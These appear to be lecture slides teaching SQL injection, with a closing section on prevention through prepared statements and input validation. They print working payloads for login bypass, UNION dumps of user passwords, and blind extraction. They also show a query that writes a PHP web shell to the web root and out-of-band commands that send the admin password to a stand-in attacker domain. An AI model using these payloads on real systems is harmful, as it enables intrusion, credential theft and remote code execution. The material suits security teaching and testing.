

SQL injection (SQLi)

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Main References


Bug Bounty Bootcamp – Chapter 11

<https://portswigger.net/web-security/sql-injection>

SQL injection

The attacker executes **arbitrary SQL commands** by supplying **malicious input** inserted into a SQL statement.

The input is **incorrectly filtered or escaped**.
It can lead to authentication bypass, sensitive data leaks, tampering of the database, and RCE in some cases.




SQLi is on decline, but...

Most web frameworks have build-in protection mechanisms.
Still common, and usually critical!

OWASP Top Ten

A broad consensus about the most critical security risks to web applications



* From the Survey

Classifications

Classic SQLi

Each query returns a table or other content that can be easily read

Blind SQLi

Each query returns a boolean result

- conditional responses
- conditional errors
- conditional time delays

First-order SQLi

The query is executed with the malicious content while processing the request

Second-order SQLi

The malicious content is stored and later used in a query, eg. while processing another request

In-band

The attack is carried on the backend server alone

Out-of-band

The attack triggers interaction with an attacker server

How does SQLi happen?

The backend concatenate strings to form a SQL query or command, with no or improper validation and escaping.

```
1 # DON'T TRY THIS AT HOME!  
2 username = request.POST["username"]  
3 password = request.POST["password"]  
4 query = f"SELECT Id FROM Users "\br/>5 |      "WHERE Username='{username}' AND Password='{password}' "  
6 cursor.execute(query)
```

Username and password are read from the input (they cross the trust boundary)

Untrusted input is concatenated to the query

ordinary path




```
POST /login  
Host: example.com
```

```
(POST request body)  
username=vickie&password=password123
```

Username and password
are simple strings

expected
query



```
SELECT Id FROM Users  
WHERE Username='vickie' AND Password='password123';
```

The query returns something
if credentials match

exceptional path

```
graph TD; A[exceptional path] --> B[POST /login<br/>Host: example.com<br/>(POST request body)<br/>username="admin";-- "&password=password123"]; B -- "unexpected query" --> C[SELECT Id FROM Users<br/>WHERE Username='admin';-- ' AND Password='password123']; C -- "Injected a comment directive (MySQL RDBMS)" --> D[The Id of the admin user is returned (the password is not checked!)]
```

POST /login

Host: example.com

(POST request body)

username="admin";-- "&password=password123"

Username is
a malicious strings

unexpected
query

SELECT Id FROM Users

WHERE Username='admin';-- ' AND Password='password123';

Injected a comment directive
(MySQL RDBMS)

The Id of the admin user is returned
(the password is not checked!)

What?!?

We just subverted the application logic!
We bypassed authentication.

<https://portswigger.net/web-security/sql-injection#subverting-application-logic>

And we can do much more...

We can read data we should not have access to
(<https://portswigger.net/web-security/sql-injection#retrieving-hidden-data>)
also from different tables


(<https://portswigger.net/web-security/sql-injection/union-attacks>)
and including metadata

(<https://portswigger.net/web-security/sql-injection/examining-the-database>)

Retrieve hidden data

`https://insecure-website.com/products?category=Gifts`

Endpoint to show products in a category




Query to show released products, composed without escaping

```
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
```

`https://insecure-website.com/products?category=Gifts'--`

Inject a comment




Get early access to unreleased products!

```
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1
```

```
https://insecure-website.com/products?category=Gifts'+OR+1=1--
```

Inject a tautology



```
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
```

Get access to
the full catalog!

Retrieve data from other tables

Endpoint to read emails of a user (having the correct access key!)

```
GET /emails?username=vickie&accesskey=ZB6w0YLjzvAVmp6zvr  
Host: example.com
```

```
SELECT Title, Body FROM Emails  
WHERE Username='vickie' AND AccessKey='ZB6w0YLjzvAVmp6zvr';
```

Query on the backend...
no validation or escaping!

Let's terminate accesskey
(with a single quote),
then continue with a UNION query
(point 1)

GET /emails?username=vickie&accesskey="ZB6w0YLjzvAVmp6zvr'

❶ UNION SELECT Username, Password FROM Users;-- "

Host: example.com

❶ SELECT Title, Body FROM Emails

WHERE Username='vickie' AND AccessKey='ZB6w0YLjzvAVmp6zvr'

❷ UNION ❸ SELECT Username, Password FROM Users;❹ -- ;

The first SELECT is likely empty (point 1),
the second SELECT contains all
usernames and passwords (point 3)

We get interesting data
in the response!

UNION attacks

Two main ingredients

- 1) Same number of columns
- 2) Compatible data types in each column

1

```
' UNION SELECT NULL --  
' UNION SELECT NULL, NULL --  
' UNION SELECT NULL, NULL, NULL --
```

2

```
' UNION SELECT 'a', NULL, NULL, NULL --  
' UNION SELECT NULL, 'a', NULL, NULL --  
' UNION SELECT NULL, NULL, 'a', NULL --  
' UNION SELECT NULL, NULL, NULL, 'a' --
```

**Often one string column is sufficient,
and sometimes even a single row!**

Take advantage of
CONCAT, GROUP_CONCAT, and
other SQL functions

Retrieve metadata

RDBMSes usually implement introspection queries or store metadata on tables and columns

Database type	Query
Microsoft, MySQL	<code>SELECT @@version</code>
Oracle	<code>SELECT * FROM v\$version</code>
PostgreSQL	<code>SELECT version()</code>

try to understand what RDBMS is used

`' UNION SELECT @@version--`

After that, check how to list tables and inject (GROUP_CONCAT or similar may help!)

`SELECT * FROM information_schema.tables`

TABLE_CATALOG	TABLE_SCHEMA	TABLE_NAME	TABLE_TYPE
=====			
MyDatabase	dbo	Products	BASE TABLE
MyDatabase	dbo	Users	BASE TABLE
MyDatabase	dbo	Feedback	BASE TABLE

Similarly, get a list of columns
for the tables of interest

```
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
```

TABLE_CATALOG	TABLE_SCHEMA	TABLE_NAME	COLUMN_NAME	DATA_TYPE
=====				
MyDatabase	dbo	Users	UserId	int
MyDatabase	dbo	Users	Username	varchar
MyDatabase	dbo	Users	Password	varchar

Not just queries... also commands!

UPDATE, DELETE, INSERT...
they can also have SQLi

In this case there is an integrity issue!

Even worse if SQLi is on some
CREATE TABLE or similar command
(I have seen them in the wild!)

Endpoint to change
password of the current user

```
POST /change_password
Host: example.com

(Post request body)
new_password=password12345
```




```
UPDATE Users
SET Password='password12345'
WHERE Id = 2;
```



```
POST /change_password  
Host: example.com
```

```
(POST request body)  
new_password="password12345' ;--"
```

Let's change the
password of all users!



```
UPDATE Users  
SET Password='password12345' ;-- WHERE Id = 2;
```

Other users

Incorrect username or password!
If you want to reset your password, click [here](#)

Second-order SQLi

User input is properly escaped and stored in the database

```
badguy';update users set password='letmein'  
where user='administrator'--
```

CREATE AN ACCOUNT



Escaping is good...
do validation anyhow!

If “a username
is a string of between
4 and 40 letters and
numbers” then reject
any other string
(DDD rocks!)

LOGIN



administrator

letmein



```
select * from user_options where user='badguy';update users  
set password='letmein' where user='administrator'--
```

relatively common with logs

In a second time, the malicious string is fetched, assumed to be safe, and used to compose a (devastating) query



Blind SQLi

The result of the query is not displayed in the response, but we may still observe something (eg. a banner)

```
GET /  
Host: example.com  
Cookie: user_id=2
```

Get user_id from a cookie
(don't do it... unless you use a UUID or similar)

```
SELECT * FROM PremiumUsers WHERE Id='2';
```

If the user is in the PremiumUsers table, show a
Welcome, premium member!
banner


We have our boolean oracle!
Let's ask a lot of questions...

<https://portswigger.net/web-security/sql-injection/blind>

Blind SQLi with conditional responses

```
2' UNION SELECT Id FROM Users  
WHERE Username = 'admin'  
and SUBSTR>Password, 1, 1) = 'a';--
```

Use SUBSTR
or SUBSTRING
depending on
the RDBMS



Question: Is the **first** character of the password **a**?
Answer: NO! (no banner)
Question: Is the **first** character of the password **b**?
...

```
SELECT * FROM PremiumUsers WHERE Id='2'  
UNION SELECT Id FROM Users  
WHERE Username = 'admin'  
and ❶SUBSTR>Password, 1, 1) = 'a';--
```


Use a fuzzer!

Change the starting index and the character.
You can even implement a binary search!

Blind SQLi with conditional errors

What if there is no banner or other conditional content to look for?
There may be some generic error message when the query is broken...

```
2' OR (  
  SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'foo' END  
  FROM Users WHERE Username = 'admin' and SUBSTR>Password, 1, 1) = 'a'  
) = 'foo';--
```



Question: Is the **first** character of the password **a**?

Answer: NO! (no error)

Question: Is the **first** character of the password **b**?

...


```
SELECT * FROM PremiumUsers WHERE Id='2' OR (  
  SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'foo' END  
  FROM Users WHERE Username = 'admin' and SUBSTR>Password, 1, 1) = 'a'  
) = 'foo';--
```

Blind SQLi with conditional time delays

Not even a generic error message?!?
Try to trigger a conditional time delay...

```
2' UNION SELECT  
IF(SUBSTR>Password, 1, 1) = 'a', SLEEP(10), 0)  
Password FROM Users  
WHERE Username = 'admin';
```

True queries requires
at least 10 seconds



```
SELECT * FROM PremiumUsers WHERE Id='2'  
UNION SELECT  
IF(SUBSTR>Password, 1, 1) = 'a', SLEEP(10), 0)  
Password FROM Users  
WHERE Username = 'admin';
```

Exfiltrate information

```
SELECT Password FROM Users WHERE Username='admin'  
INTO OUTFILE '/var/www/html/output.txt'
```


MySQL can save its output to files...

What can go wrong?!?

```
GET /  
Host: example.com  
Cookie: user_id=2, username=vickie
```

The backend keeps
track of active users


(Again... don't trust cookies)



```
INSERT INTO ActiveUsers  
VALUES ('2', 'vickie');
```



```
GET /  
Host: example.com  
Cookie: ❶user_id="2', (SELECT Password FROM Users  
WHERE Username='admin'  
INTO OUTFILE '/var/www/html/output.txt')));-- ", username=vickie
```



```
INSERT INTO ActiveUsers  
VALUES ('2', (SELECT Password FROM Users  
WHERE Username='admin'  
INTO OUTFILE '/var/www/html/output.txt')));-- ', 'vickie');
```


**May I ask you to write
the admin password
to output.txt, please?**

Gain a web shell

And since you are so kind,
may you give me
remote code execution (RCE)?

```
SELECT Password FROM Users WHERE Username='abc'  
UNION SELECT "<? system($_REQUEST['cmd']); ?>"  
INTO OUTFILE "/var/www/html/shell.php"
```

If these commands
are enabled, just go
for the holy grail!



```
<? system($_REQUEST['cmd']); ?>
```

```
http://www.example.com/shell.php?cmd=COMMAND
```

Arbitrary RCE

From this point try to get
a stable reverse shell

Out-of-band techniques

Let the attacked backend server do a request to a server under your control.

Check your server for data (classic SQLi) or even just for being reached (blind SQLi)

```
'; exec master..xp_dirtree '//lander.attacker.net/--
```

Check that you can reach your DNS server (SQL Server RDBMS)

```
'; declare @p varchar(1024); set @p=(SELECT password FROM users WHERE username='Administrator');  
exec('master..xp_dirtree "'//'+@p+'.lander.attacker.net/'')--
```

If yes then exfiltrate sensitive data

We will not try out-of-band labs (they need a subscription)

Prevention

Prepared statements

- Don't concatenate strings, use well established libraries
- Queries are compiled, parameters are assigned to variables or properly escaped

It will not work if you concatenate strings while creating the prepared statements!

Evergreen recommendations

- Validate untrusted input (from user, from database, everything out of the trust boundary)
- Use primitive domains for input and output (invalid content doesn't exist... DDD rocks!)

Be aware of automation tools

```
$ python sqlmap.py -u "http://debiandev/sqlmap/mysql/get_int.php?id=1" --batch
```



```
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
```

```
[*] starting @ 10:44:53 /2019-04-30/
```

```
[10:44:54] [INFO] testing connection to the target URL
[10:44:54] [INFO] heuristics detected web page charset 'ascii'
[10:44:54] [INFO] checking if the target is protected by some kind of WAF/IPS
[10:44:54] [INFO] testing if the target URL content is stable
[10:44:55] [INFO] target URL content is stable
[10:44:55] [INFO] testing if GET parameter 'id' is dynamic
[10:44:55] [INFO] GET parameter 'id' appears to be dynamic
[10:44:55] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
(possible DBMS: 'MySQL')
```

Often you just need to provide a request-raw-file and sqlmap will do its magic!
Dump databases and possibly open a reverse shell.

Questions

